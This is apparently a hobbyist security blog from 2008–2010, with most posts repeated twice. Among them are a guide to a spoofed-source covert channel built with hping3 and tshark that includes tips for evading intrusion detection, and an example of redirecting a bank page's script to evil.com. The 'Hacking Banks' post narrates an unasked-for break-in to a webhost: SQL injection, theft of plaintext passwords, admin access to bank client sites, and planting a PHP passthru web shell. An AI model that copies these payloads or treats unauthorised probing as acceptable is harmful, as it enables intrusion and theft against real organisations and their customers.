Windows Vista SP1+ Security Changes
*Small guide on the big changes in security with Windows Vista SP1+*
I wrote this for Best Buy, so it's not exactly what I would consider "technical". If anyone wants any further explanations, let me know and I'll modify the pdf. This does not include information on the new firewall (outbound access controls), Windows Defender, SID's & security tokens, nor the move of drivers from kernel space into userland.
http://www.megaupload.com/?d=P3P6IKAB <- 65.23kB
************
Physical Security: From Boot to Root
This was also written for Best Buy. I've seen a lot of posts about physical access, but not a lot mentioning current techniques on both attacks and preventative measures. Here's a modern (as of 02/27/2010) take on the old tale.
http://www.megaupload.com/?d=OD5J1KBU <-- 99.94kB
***************
Antivirus Programs
This covers a more modern take on antivirus software techniques and techniques on bypassing it. Again, this was written for Best Buy, so it lacks on the technicalities. Of course, if there's any questions, I'll be happy to write something more technical.
http://www.megaupload.com/?d=ZGFO5S6U <-- 57.62kB
Saturday, February 27, 2010
Thursday, August 6, 2009
Myspace Toolbar Hijack
A little introduction:
I was cruising a regular forum when someone posted a new toolbar that's supposed to automatically deposit money for you, in an text-based RPG game. So, people were posting about how they thought it was some kind of "bot" and etc. I decided to take a look at it myself and see what I could find.
What it appeared to be was a simple toolbar. However, it did some very strange and interesting things. First, it set a couple cookies in my requests. Some were rather interesting, while one made me laugh as it made itself clear as day to anyone who can look at a cookie. This value was UNIQUELOGINHIJACK. Then it tried to use the Myspace email to send out spam messages. However, the most interesting part was how it tried to get me to download a fully hijacked browser. It identified itself as Firefox 3.0.7, as my current browser was 3.0.5. The unique part was that it tried to pull this new hijacked browser everytime FireFox checked for updates. Every time an update check was called, the request for the new "updated" browser was called. What's interesting about this is most browsers, when they start, will automatically check for updates and this link will also try and get you to download it. Think of those people who don't know about how FireFox does its updates and installs this piece of spamware.
Suffice to say, after I gave my analysis on the forum, the post was deleted a couple minutes later.
I was cruising a regular forum when someone posted a new toolbar that's supposed to automatically deposit money for you, in an text-based RPG game. So, people were posting about how they thought it was some kind of "bot" and etc. I decided to take a look at it myself and see what I could find.
What it appeared to be was a simple toolbar. However, it did some very strange and interesting things. First, it set a couple cookies in my requests. Some were rather interesting, while one made me laugh as it made itself clear as day to anyone who can look at a cookie. This value was UNIQUELOGINHIJACK. Then it tried to use the Myspace email to send out spam messages. However, the most interesting part was how it tried to get me to download a fully hijacked browser. It identified itself as Firefox 3.0.7, as my current browser was 3.0.5. The unique part was that it tried to pull this new hijacked browser everytime FireFox checked for updates. Every time an update check was called, the request for the new "updated" browser was called. What's interesting about this is most browsers, when they start, will automatically check for updates and this link will also try and get you to download it. Think of those people who don't know about how FireFox does its updates and installs this piece of spamware.
Suffice to say, after I gave my analysis on the forum, the post was deleted a couple minutes later.
Saturday, May 30, 2009
Modifying content in HTTPS
I know I haven't updated in a while, but I'm here again to share my information with whoever wants it. This time, it's not something personal that I've discovered or an experience of my own.
Instead, I've recently read a paper published by Microsoft that really got me thinking about other possibilities that I'm going to be testing out and having fun with in the near future. The paper, written with malicious proxies in mind, points out browser flaws in handling certain events with HTTPS and intriguing research on modifying HTTPS content.
Personally, there was this one very inspiring technique that is rather easy to perform and something I'd consider dangerous. This was when a site such as https://bank.com/login.php calls for off-site file(s) or file(s) from their sub-domain, an example being a javascript file from https://scripts.bank.com/script.js. Now what happens is the person sends a request for https://bank.com, which also sends a request for https://scripts.bank.com/script.js, and the attacker sends back a 302 redirect to a different https script instead of https://scripts.bank.com/script.js. An easier to follow example:
A.) Victim sends request for https://bank.com/login.php
B.) https://bank.com/login.php calls script from https://scripts.bank.com/script.js
C.) Attacker does not return requested content, instead it returns a 302 redirect for https://script.bank.com/script.js which points to https://evil.com/script.js
D.) Now the attacker's script is loaded in the context of https://bank.com/login.php which means the attacker has access over the client-side content of the site and can use DOM manipulation to modify that client-side content.
The paper has other great new ideas that makes it completely worth the read. It also has other old ideas such as stealing cookies, of an https site, that do not have the secure bit set by modifying a page to put a hidden iframe that points to that same site, but over a regular http session. It is truly an inspiring paper that is on the path of deeper problems within how our browsers handle HTTPS sessions.
Paper located at: http://research.microsoft.com/pubs/79323/pbp-final-with-update.pdf
Presentation slides at: http://research.microsoft.com/pubs/79323/PBP-oakland-public.ppt
Instead, I've recently read a paper published by Microsoft that really got me thinking about other possibilities that I'm going to be testing out and having fun with in the near future. The paper, written with malicious proxies in mind, points out browser flaws in handling certain events with HTTPS and intriguing research on modifying HTTPS content.
Personally, there was this one very inspiring technique that is rather easy to perform and something I'd consider dangerous. This was when a site such as https://bank.com/login.php calls for off-site file(s) or file(s) from their sub-domain, an example being a javascript file from https://scripts.bank.com/script.js. Now what happens is the person sends a request for https://bank.com, which also sends a request for https://scripts.bank.com/script.js, and the attacker sends back a 302 redirect to a different https script instead of https://scripts.bank.com/script.js. An easier to follow example:
A.) Victim sends request for https://bank.com/login.php
B.) https://bank.com/login.php calls script from https://scripts.bank.com/script.js
C.) Attacker does not return requested content, instead it returns a 302 redirect for https://script.bank.com/script.js which points to https://evil.com/script.js
D.) Now the attacker's script is loaded in the context of https://bank.com/login.php which means the attacker has access over the client-side content of the site and can use DOM manipulation to modify that client-side content.
The paper has other great new ideas that makes it completely worth the read. It also has other old ideas such as stealing cookies, of an https site, that do not have the secure bit set by modifying a page to put a hidden iframe that points to that same site, but over a regular http session. It is truly an inspiring paper that is on the path of deeper problems within how our browsers handle HTTPS sessions.
Paper located at: http://research.microsoft.com/pubs/79323/pbp-final-with-update.pdf
Presentation slides at: http://research.microsoft.com/pubs/79323/PBP-oakland-public.ppt
Wednesday, December 24, 2008
Guide to Encrypted Dynamic Covert Channels
Creating and Using New Covert Channels
--Skip to end list for just a walkthrough on what to do--
+++State of Things+++
Covert channels in TCP/IP communications are dying from the public and security field's eye. When I talk about covert channels, several security professionals/researchers ask me what it is or say something along the lines of, "Like Stegonagraphy?". Publicly available, mass used, and not fully understood by implementer(s) intrusion detection systems (and their rulesets) and stateful firewalls could be why little is known anymore about this subject. With great tools that setup an encrypted tunnel (cryptcat, VPN software, etc.) publicly available and rather simple to use, the publics eye will be on these for a while. Which means that I can have my fun with my new covert channel without much risk!
+++Covert Channels of the Past+++
First off, let's talk about the past. Covert channels have been rather restrictive in their implementation (as far as the documentation on the channels and their uses goes). This because the communication was happening somewhere inside of a packet or multiple packets. This brought much more attention to checking for legitimate network communications. Active warden systems and/or network stabilizers was the software being researched and released to prevent these covert channels from happening. Basically, the new software looked at the packets and tried to find irregularities (heuristic and blacklist) in the network traffic (think stateful firewalls). Then it would take action depending on the software and/or configuration settings.
+++Requirements+++
This post should explain how to create your own special encrypted covert channel with a tshark filter, hping, and your brain (knowledge of TCP/IP communication would be greatly beneficial).
+++Down to the Good Stuff+++
So, my first step was to find a way to create a covert channel that's encrypted. This idea came to me after reading an article on port knocking. Port knocking is where you have a port that you want to connect to, but it's closed. This port opens when a certain amount of ports (UDP/TCP Open/Closed) are "knocked on" (connected, single packet sent to, whatever you want to count for a "knock" in your implementation). So, say I want access to port 22, SSH, but it's closed. I would run my program to connect to this port. What this program would do is send a SYN packet to TCP 7342, UDP 2738, UDP 3829, and TCP 80 thus opening port 22 for my ip for a certain length of time.
Now, what would happen if we did a simple algorithm to turn the port numbers into words? Say we hit TCP 2837 and TCP 2837="A". We have 65535*2 (TCP and UDP) possibilites open to us for a simple charset of our choosing. Or, say you want to use both source and destination port numbers, than we would have 131070*2. Example simple encryption algorithm:
Take the length of the word, multiply it by the amount of words in our sentance, then multiply each character by it's ASCII equivalent. If the number goes above 65535, turn negative and start at -1. Each negative number are UDP ports, each positive are TCP.
->This creates a unique encryption, unless you steal my too simplistic idea or use someone else's encryption, that anyone can setup and modify easily.
Alright, so we have TCP 503, TCP 17532, TCP 1934, TCP 10374, UDP 59 and it spells out "hello". Now, we want to send it to another person on the network (original idea for why this method was thought of by me). We don't want to give away our originating ip addresses, so we will be using hping3. Hping3 takes advantage of the insecurities dealing with the TCP/IP stack. With it we have the ability to create and send packets on the network (with a spoofed source address if wanted).
Network Architecture:
192.168.1.1 - Shitty Router
192.168.1.4 - Client using internet
192.168.1.7 - Me
192.168.1.9 - Person I want to talk to
192.168.1.17 - Client using internet
192.168.1.20 - VoIP server
192.168.1.24 - Client using internet
192.168.1.48 - Web server
192.168.1.50 - Client using internet
192.168.1.69 - Client using internet
192.168.1.78 - Client using internet
192.168.1.94 - Client using internet
First attempt:
hping command: hping3 -I wlan1 -V -S 192.168.1.69 -a 192.168.1.4 -p 503 -c 1 --sign "secretkey"
->interface wlan1, be verbose, Syn packet, destination: 192.168.1.69, source: 192.168.1.4, TCP 503 = "h", stop after 1 packet, sign packet with text "secretkey"
tshark command: tshark -i wlan1 -n -R "tcp contains secretkey"
->interface wlan1, don't run DNS on port number, addresses, etc., only show tcp packets that contain the text "secretkey"
Pretty simple, huh? It should be easy to modify as long as you RTFM. This is a failed attempt, and I'll tell you why. First, our packet is pretty broken and might not look like legitimate traffic in the eyes of the network's security. Also we placed text into the packet and that might trigger an alarm or create a fingerprint to easily track the rest of the packets. Not that it matters because the talk is encrypted with whatever algorithm you created, but we want as much stealth as possible without tripping any alarms.
Second attempt:
hping command: hping3 -I wlan1 -V -S 192.168.1.69 -a 192.168.1.4 -p 503 -c 1 -t 60 --tcp-timestamp
->This time we used a ttl (time to live) and set it to 60, instead of the default 64 that hping puts out. I also included a tcp timestamp to make the packet look more like a normal packet.
tshark command: tshark -i wlan1 -n -R "ip.ttl == 60"
Great, so now we created a system where only the information we want to recieve will show up on our sniffer and it's easy to modify. Learn TCP/IP and filters to make yours more unique. There are, unfortunately, two more problems we need to address. The first being that our cards are going into promiscuous mode and the second being how fast the packets are being sent out.
You should be able to figure out a way around the network card problem, there are limitless possibilities. Although, unless you're on a secure network where you think/know they have something checking for network cards in this mode, don't worry about this too much. One way around it would be to send packets to and from each other instead of spoofing the source and destination addresses. Then, we can set tshark to not run in promiscuous mode. If you start sending trash requests to different webpages at the same time, it would be like finding a needle in a haystack when looking through logs. Let alone them somehow knowing of your private channel.
As for the amount of packets being sent out in a short time, we can fix that easily. Sending a lot of packets rather quickly is a problem that has great potential to trigger all sorts of alerts. Time out your packet sending, maybe send a packet at random intervals between 3-20 seconds? Remember, patience is a virtue.
+++Coders/Scripters+++
It would probably be in your best interest to create some kind of program for automation of this method. A simple "./covert this would be the text you want to send", so you could pipe something else in there if you wanted (for those of you who can reconstruct a file after it's been fragmented like that). Then it encrypts the message for you and modifies your hping3 commands accordingly. Don't forget about packet sending times!
On the reciever's end, strip out the port numbers from your tshark dump and pipe it into your decryption program.
+++The Simple Covert Channel Walkthrough+++
--Just making a simple list for those who don't want to read the article. If you've read the article, you probably won't want to read this as it's just a repeat.--
1.) Port numbers represent characters. Each port number will be a character. We can use any open/closed, TCP/UDP, source/destination, ports. This gives us 131070*2 possibilities for our pre-defined charset.
2.) Create an encryption algorithm for the port to character conversion. Make one up yourself so it's completely unique. Don't be simplistic, we are using this for sending information we probably don't want anyone to find out about.
3.) Run hping to create and send packets. Use hping's ability to spoof source and destination addresses.
4.) Make the packets different than most network traffic, but not so much as to send up alerts. A simple change like ttl time would be recommended.
5.) Run tshark and apply a filter to find your modified packets.
6.) Take the port numbers and decrypt them for your message/file/etc.
7.) Automate the process for large files
8.) Now read the article for a more thorough analysis of this method, downfalls/possible problems, and how to free yourself from those possible problems.
-Tyler Borland-
--Skip to end list for just a walkthrough on what to do--
+++State of Things+++
Covert channels in TCP/IP communications are dying from the public and security field's eye. When I talk about covert channels, several security professionals/researchers ask me what it is or say something along the lines of, "Like Stegonagraphy?". Publicly available, mass used, and not fully understood by implementer(s) intrusion detection systems (and their rulesets) and stateful firewalls could be why little is known anymore about this subject. With great tools that setup an encrypted tunnel (cryptcat, VPN software, etc.) publicly available and rather simple to use, the publics eye will be on these for a while. Which means that I can have my fun with my new covert channel without much risk!
+++Covert Channels of the Past+++
First off, let's talk about the past. Covert channels have been rather restrictive in their implementation (as far as the documentation on the channels and their uses goes). This because the communication was happening somewhere inside of a packet or multiple packets. This brought much more attention to checking for legitimate network communications. Active warden systems and/or network stabilizers was the software being researched and released to prevent these covert channels from happening. Basically, the new software looked at the packets and tried to find irregularities (heuristic and blacklist) in the network traffic (think stateful firewalls). Then it would take action depending on the software and/or configuration settings.
+++Requirements+++
This post should explain how to create your own special encrypted covert channel with a tshark filter, hping, and your brain (knowledge of TCP/IP communication would be greatly beneficial).
+++Down to the Good Stuff+++
So, my first step was to find a way to create a covert channel that's encrypted. This idea came to me after reading an article on port knocking. Port knocking is where you have a port that you want to connect to, but it's closed. This port opens when a certain amount of ports (UDP/TCP Open/Closed) are "knocked on" (connected, single packet sent to, whatever you want to count for a "knock" in your implementation). So, say I want access to port 22, SSH, but it's closed. I would run my program to connect to this port. What this program would do is send a SYN packet to TCP 7342, UDP 2738, UDP 3829, and TCP 80 thus opening port 22 for my ip for a certain length of time.
Now, what would happen if we did a simple algorithm to turn the port numbers into words? Say we hit TCP 2837 and TCP 2837="A". We have 65535*2 (TCP and UDP) possibilites open to us for a simple charset of our choosing. Or, say you want to use both source and destination port numbers, than we would have 131070*2. Example simple encryption algorithm:
Take the length of the word, multiply it by the amount of words in our sentance, then multiply each character by it's ASCII equivalent. If the number goes above 65535, turn negative and start at -1. Each negative number are UDP ports, each positive are TCP.
->This creates a unique encryption, unless you steal my too simplistic idea or use someone else's encryption, that anyone can setup and modify easily.
Alright, so we have TCP 503, TCP 17532, TCP 1934, TCP 10374, UDP 59 and it spells out "hello". Now, we want to send it to another person on the network (original idea for why this method was thought of by me). We don't want to give away our originating ip addresses, so we will be using hping3. Hping3 takes advantage of the insecurities dealing with the TCP/IP stack. With it we have the ability to create and send packets on the network (with a spoofed source address if wanted).
Network Architecture:
192.168.1.1 - Shitty Router
192.168.1.4 - Client using internet
192.168.1.7 - Me
192.168.1.9 - Person I want to talk to
192.168.1.17 - Client using internet
192.168.1.20 - VoIP server
192.168.1.24 - Client using internet
192.168.1.48 - Web server
192.168.1.50 - Client using internet
192.168.1.69 - Client using internet
192.168.1.78 - Client using internet
192.168.1.94 - Client using internet
First attempt:
hping command: hping3 -I wlan1 -V -S 192.168.1.69 -a 192.168.1.4 -p 503 -c 1 --sign "secretkey"
->interface wlan1, be verbose, Syn packet, destination: 192.168.1.69, source: 192.168.1.4, TCP 503 = "h", stop after 1 packet, sign packet with text "secretkey"
tshark command: tshark -i wlan1 -n -R "tcp contains secretkey"
->interface wlan1, don't run DNS on port number, addresses, etc., only show tcp packets that contain the text "secretkey"
Pretty simple, huh? It should be easy to modify as long as you RTFM. This is a failed attempt, and I'll tell you why. First, our packet is pretty broken and might not look like legitimate traffic in the eyes of the network's security. Also we placed text into the packet and that might trigger an alarm or create a fingerprint to easily track the rest of the packets. Not that it matters because the talk is encrypted with whatever algorithm you created, but we want as much stealth as possible without tripping any alarms.
Second attempt:
hping command: hping3 -I wlan1 -V -S 192.168.1.69 -a 192.168.1.4 -p 503 -c 1 -t 60 --tcp-timestamp
->This time we used a ttl (time to live) and set it to 60, instead of the default 64 that hping puts out. I also included a tcp timestamp to make the packet look more like a normal packet.
tshark command: tshark -i wlan1 -n -R "ip.ttl == 60"
Great, so now we created a system where only the information we want to recieve will show up on our sniffer and it's easy to modify. Learn TCP/IP and filters to make yours more unique. There are, unfortunately, two more problems we need to address. The first being that our cards are going into promiscuous mode and the second being how fast the packets are being sent out.
You should be able to figure out a way around the network card problem, there are limitless possibilities. Although, unless you're on a secure network where you think/know they have something checking for network cards in this mode, don't worry about this too much. One way around it would be to send packets to and from each other instead of spoofing the source and destination addresses. Then, we can set tshark to not run in promiscuous mode. If you start sending trash requests to different webpages at the same time, it would be like finding a needle in a haystack when looking through logs. Let alone them somehow knowing of your private channel.
As for the amount of packets being sent out in a short time, we can fix that easily. Sending a lot of packets rather quickly is a problem that has great potential to trigger all sorts of alerts. Time out your packet sending, maybe send a packet at random intervals between 3-20 seconds? Remember, patience is a virtue.
+++Coders/Scripters+++
It would probably be in your best interest to create some kind of program for automation of this method. A simple "./covert this would be the text you want to send", so you could pipe something else in there if you wanted (for those of you who can reconstruct a file after it's been fragmented like that). Then it encrypts the message for you and modifies your hping3 commands accordingly. Don't forget about packet sending times!
On the reciever's end, strip out the port numbers from your tshark dump and pipe it into your decryption program.
+++The Simple Covert Channel Walkthrough+++
--Just making a simple list for those who don't want to read the article. If you've read the article, you probably won't want to read this as it's just a repeat.--
1.) Port numbers represent characters. Each port number will be a character. We can use any open/closed, TCP/UDP, source/destination, ports. This gives us 131070*2 possibilities for our pre-defined charset.
2.) Create an encryption algorithm for the port to character conversion. Make one up yourself so it's completely unique. Don't be simplistic, we are using this for sending information we probably don't want anyone to find out about.
3.) Run hping to create and send packets. Use hping's ability to spoof source and destination addresses.
4.) Make the packets different than most network traffic, but not so much as to send up alerts. A simple change like ttl time would be recommended.
5.) Run tshark and apply a filter to find your modified packets.
6.) Take the port numbers and decrypt them for your message/file/etc.
7.) Automate the process for large files
8.) Now read the article for a more thorough analysis of this method, downfalls/possible problems, and how to free yourself from those possible problems.
-Tyler Borland-
Saturday, December 13, 2008
Xandros Insecure At Heart
Who hasn't heard of the EEE laptops? Well, for those of you not in the know there are some nice, cheap, and incredibly small laptops called EEE. These things, by default, run a strange linux OS called Xandros. I have had the extreme displeasure of using this thing.
I was at Best Buy when I first got to use an Asus and the Xandros operating system. It first seemed like a kids toy to me as there was no way for me to access the desktop. I only got giant pictures and menus to navigate through. This made me very annoyed as I used the opened Mozilla browser as a shitty file browser (file:///). Well, until I actually had found the file browser application that I could use (which I didn't like at all, this thing has midnight commander, yet they decided to use a file browser which was a pain to do certain small tasks). This wasn't very helpful as I could not figure out how to open up a simple terminal! All I really wanted to do was check out some of the specs and binaries this thing had, but the child-like interfaces were really hard to find my way through. So, I made a shell script and opened it with bash (created a file using the file browser and then manually had to make it open /bin/bash). Finally, I had access to a shell!
After a bit of looking around at strange things, like certain design choices that they seemed to not have supported, or at least in this version. I decided I wanted to look a little more at the internals of how this thing works. One problem, I had to get root to be able to get all the information I'll be wanting. Well, this whole process took about 5 minutes for me to gain root access. I first issued su and tried guessing the password. That was to no avail so I tried to sudo /bin/bash hoping "user" (yes, default name) was a sudoer. Confused at the whole # prompt, I had to re-assure myself that I wasn't dreaming so I issued a whoami. Staring me in the face was the word, "root". No way, this couldn't be THAT horrible at security. After a bit of talking with my friend online (took place outside of Best Buy) I found that the sudoers file was any user with no password by DEFAULT. With a little bit of research I came to an even worse reality about Xandros, if you modified the sudoers file it would have a problem booting! So, by default, you can issue any command as root without needing a password and you have to have incredible technical skills in order to fix this serious problem?!
I thought that maybe that was all, but others had told me about more problems with this OS. One good example being the user is called "user" no matter what and you can't change it. How ridiculous! This thing is going to be the easiest thing to get into ever!
End result, the EEE machines would be awesome if Xandros did not come on it. Get one if you want, but make sure to change the operating system for both sanity and security's sake.
I was at Best Buy when I first got to use an Asus and the Xandros operating system. It first seemed like a kids toy to me as there was no way for me to access the desktop. I only got giant pictures and menus to navigate through. This made me very annoyed as I used the opened Mozilla browser as a shitty file browser (file:///). Well, until I actually had found the file browser application that I could use (which I didn't like at all, this thing has midnight commander, yet they decided to use a file browser which was a pain to do certain small tasks). This wasn't very helpful as I could not figure out how to open up a simple terminal! All I really wanted to do was check out some of the specs and binaries this thing had, but the child-like interfaces were really hard to find my way through. So, I made a shell script and opened it with bash (created a file using the file browser and then manually had to make it open /bin/bash). Finally, I had access to a shell!
After a bit of looking around at strange things, like certain design choices that they seemed to not have supported, or at least in this version. I decided I wanted to look a little more at the internals of how this thing works. One problem, I had to get root to be able to get all the information I'll be wanting. Well, this whole process took about 5 minutes for me to gain root access. I first issued su and tried guessing the password. That was to no avail so I tried to sudo /bin/bash hoping "user" (yes, default name) was a sudoer. Confused at the whole # prompt, I had to re-assure myself that I wasn't dreaming so I issued a whoami. Staring me in the face was the word, "root". No way, this couldn't be THAT horrible at security. After a bit of talking with my friend online (took place outside of Best Buy) I found that the sudoers file was any user with no password by DEFAULT. With a little bit of research I came to an even worse reality about Xandros, if you modified the sudoers file it would have a problem booting! So, by default, you can issue any command as root without needing a password and you have to have incredible technical skills in order to fix this serious problem?!
I thought that maybe that was all, but others had told me about more problems with this OS. One good example being the user is called "user" no matter what and you can't change it. How ridiculous! This thing is going to be the easiest thing to get into ever!
End result, the EEE machines would be awesome if Xandros did not come on it. Get one if you want, but make sure to change the operating system for both sanity and security's sake.
Thursday, December 11, 2008
Charter Customer Service
I always have strange times when dealing with customer service. The first time I ever needed to contact customer service was when I needed to ask what wireless card came with a certain Dell laptop. Well, the person told me that the wireless card's name was IEEE...
Anyway, the story today deals with Charter and my aunt's router/modem combo that was a little broken. What happened was the name, password, and encryption standard would change at random times on the router. So I would have to plug myself into the router, provide default username/password (admin::password) to the web administration tool, and change the settings back to my own. After calling, waiting for about 8 minutes and being transferred only once I got in contact with someone who actually knew what they were talking about (and spoke english as a first language!). He assured me that there was no script and after a little bit of talking he told me that someone would be out tomorrow to replace our router.
Now, this is where the problem with Charters' service lies. The guy that came out to replace the router had no damn idea what he was doing. He replaced the router and set it up to a hex version of our phone number (which is the same amount of characters in the first place) and also set up our encryption to 64-bit WEP! Now, seeing as I wasn't at the house when this was being done, my aunt had to deal with him. What this guy had told her was that there could be two possible problems and that replacing the router wasn't going to fix our problem. Problem one could be a problem with her firewall and problem two could be a problem with her wireless card. So, let me get this straight, somehow the firewall would access the router, guess the username/password, and modify the settings and random intervals of time? Now, with the second problem, I tried to understand where he was coming from. The only reason this guy would think and tell my aunt that it could be the wireless card is if he didn't know shit about our problem. I'm thinking he thought the wireless card's saved settings for that access point was somehow being modified by either a faulty wireless card or faulty wireless manager. The first reason why this wouldn't happen is two different laptops were displaying the same thing at the same time (two faulty wireless cards doing the same thing at the same time?!). The second reason would be I had to go into the router and change the settings. So it could NOT have been the wireless card's problem if the settings in the router were changed. Also, as soon as I changed it back to the settings that were saved on the wireless card, the computers could connect again.
It's been about two and a half days since the router was changed and there has not been a single problem. Thank you Charter for the speedy and helpful phone support, but maybe these people who work with your hardware should understand computers before confusing poor customers who don't know what's going on.
Anyway, the story today deals with Charter and my aunt's router/modem combo that was a little broken. What happened was the name, password, and encryption standard would change at random times on the router. So I would have to plug myself into the router, provide default username/password (admin::password) to the web administration tool, and change the settings back to my own. After calling, waiting for about 8 minutes and being transferred only once I got in contact with someone who actually knew what they were talking about (and spoke english as a first language!). He assured me that there was no script and after a little bit of talking he told me that someone would be out tomorrow to replace our router.
Now, this is where the problem with Charters' service lies. The guy that came out to replace the router had no damn idea what he was doing. He replaced the router and set it up to a hex version of our phone number (which is the same amount of characters in the first place) and also set up our encryption to 64-bit WEP! Now, seeing as I wasn't at the house when this was being done, my aunt had to deal with him. What this guy had told her was that there could be two possible problems and that replacing the router wasn't going to fix our problem. Problem one could be a problem with her firewall and problem two could be a problem with her wireless card. So, let me get this straight, somehow the firewall would access the router, guess the username/password, and modify the settings and random intervals of time? Now, with the second problem, I tried to understand where he was coming from. The only reason this guy would think and tell my aunt that it could be the wireless card is if he didn't know shit about our problem. I'm thinking he thought the wireless card's saved settings for that access point was somehow being modified by either a faulty wireless card or faulty wireless manager. The first reason why this wouldn't happen is two different laptops were displaying the same thing at the same time (two faulty wireless cards doing the same thing at the same time?!). The second reason would be I had to go into the router and change the settings. So it could NOT have been the wireless card's problem if the settings in the router were changed. Also, as soon as I changed it back to the settings that were saved on the wireless card, the computers could connect again.
It's been about two and a half days since the router was changed and there has not been a single problem. Thank you Charter for the speedy and helpful phone support, but maybe these people who work with your hardware should understand computers before confusing poor customers who don't know what's going on.
Monday, November 24, 2008
Hacking Banks
Alright, sorry to get everyone excited, but this is not a guide on how to hack banks. This is how I got access to a couple of banks via getting into a webhost company located locally. The name is not shown to protect the innocent hosts on this webserver. Everything has been reported and most of it has been fixed.
Seeing as I'm looking for a job, someone I know showed me this ad placed by a local webhosting company looking for web scripters. I am not new to html (or xhtml as is getting more standardized) nor PHP, so I decided to look around at its site. They basically wrote a CMS system to create pages easily and quickly (which is why CSS was not a need to know). Curious as to how this worked, I decided to throw some information at it and see what I got in return.
This is where the exploiting came in. I found out how easy it was to get this system to return information to me that would be extremely valuable to a would-be attacker. This included finding out that none of the scripts checked for script insertion. So, there were several low-level XSS finds and one even more dangerous one found. They had a contact us form that submits and writes the information to an online file that can only be accessed by the admin. Unfortunately, this script also did not check for any kind of script insertion. So I could send whatever html I felt like (and even PHP, but we'll get to that later) to the admin. Next I found that as long as I attached .*** to the suffix (no null byte here and could not create an RFI due to some restrictions) anything local could be included through a variable I had access to. So, I decided to do a little proof of concept and had the page include itself over and over again (included file through an infinite loop would create an internal DoS).
Next, I found a blind sql injection. After mapping my way through 150 (there were more tables, but I just had to stop and do something else after 150 tables) tables I took the interesting ones and started to map out their column name(s). I had all sorts of information I could access through this. There was client information (automated payment information anybody :p), banking information, financial records, and etc. What caught my eye was the ever so common table name, users. After a little work from empty columns to a WHERE clause pulling information by an identification number, I was able to extract unencrypted passwords from the table. This is where I pulled the first working id from the table and logged in as administrator in their back-end administration system. I had access to practically everything this webhosting company was doing. This included access to the hundreds of client sites, a couple of which were banks (see title). With these clients I had their passwords and could see, upload, and modify each hosts' content. I also had access to that contact form (see last paragraph).
The best part of it was I was playing around loading files with the MySQL (this was the sql database they used) load_file() function and was loading files outside of the website root. When I went into the admin panel they had little notes on what needed to be done and updating their sql database to a newer version was in their todo list (upgrading would have stopped me from being able to issue the load_file() function unless they really messed up and let a visitor run sql commands with enough rights to run such powerful functions).
Now, on to the part where I gain access to the box. I could simply write a simple php shell and place it on one of the pages with the longer number of used lines (so it would be more stealthy than just uploading a file), but I had LFI access to an XSS'able page. So there's something I wanted to try for a long time, using the XSS'ed page to include a php script that could get executed by the LFI vulnerability. So I wrote a nice comment and submitted it to them:
"><?php passthru($_POST['***__file']); ?>
Note - ***__file, ***_file is the include function variable, so I just placed another underscore on my simple shell to make it look less suspicious. I also included an isset() that would check to see if my post was submitted and then echo'ed the results back to me. All of this being encoded by base64_encode.
Next, I loaded the page this was wrote to through the LFI (which was happy to accept another variable called blah=.iml) and started to play with my working shell.
Seeing as I'm looking for a job, someone I know showed me this ad placed by a local webhosting company looking for web scripters. I am not new to html (or xhtml as is getting more standardized) nor PHP, so I decided to look around at its site. They basically wrote a CMS system to create pages easily and quickly (which is why CSS was not a need to know). Curious as to how this worked, I decided to throw some information at it and see what I got in return.
This is where the exploiting came in. I found out how easy it was to get this system to return information to me that would be extremely valuable to a would-be attacker. This included finding out that none of the scripts checked for script insertion. So, there were several low-level XSS finds and one even more dangerous one found. They had a contact us form that submits and writes the information to an online file that can only be accessed by the admin. Unfortunately, this script also did not check for any kind of script insertion. So I could send whatever html I felt like (and even PHP, but we'll get to that later) to the admin. Next I found that as long as I attached .*** to the suffix (no null byte here and could not create an RFI due to some restrictions) anything local could be included through a variable I had access to. So, I decided to do a little proof of concept and had the page include itself over and over again (included file through an infinite loop would create an internal DoS).
Next, I found a blind sql injection. After mapping my way through 150 (there were more tables, but I just had to stop and do something else after 150 tables) tables I took the interesting ones and started to map out their column name(s). I had all sorts of information I could access through this. There was client information (automated payment information anybody :p), banking information, financial records, and etc. What caught my eye was the ever so common table name, users. After a little work from empty columns to a WHERE clause pulling information by an identification number, I was able to extract unencrypted passwords from the table. This is where I pulled the first working id from the table and logged in as administrator in their back-end administration system. I had access to practically everything this webhosting company was doing. This included access to the hundreds of client sites, a couple of which were banks (see title). With these clients I had their passwords and could see, upload, and modify each hosts' content. I also had access to that contact form (see last paragraph).
The best part of it was I was playing around loading files with the MySQL (this was the sql database they used) load_file() function and was loading files outside of the website root. When I went into the admin panel they had little notes on what needed to be done and updating their sql database to a newer version was in their todo list (upgrading would have stopped me from being able to issue the load_file() function unless they really messed up and let a visitor run sql commands with enough rights to run such powerful functions).
Now, on to the part where I gain access to the box. I could simply write a simple php shell and place it on one of the pages with the longer number of used lines (so it would be more stealthy than just uploading a file), but I had LFI access to an XSS'able page. So there's something I wanted to try for a long time, using the XSS'ed page to include a php script that could get executed by the LFI vulnerability. So I wrote a nice comment and submitted it to them:
"><?php passthru($_POST['***__file']); ?>
Note - ***__file, ***_file is the include function variable, so I just placed another underscore on my simple shell to make it look less suspicious. I also included an isset() that would check to see if my post was submitted and then echo'ed the results back to me. All of this being encoded by base64_encode.
Next, I loaded the page this was wrote to through the LFI (which was happy to accept another variable called blah=.iml) and started to play with my working shell.
Subscribe to:
Posts (Atom)
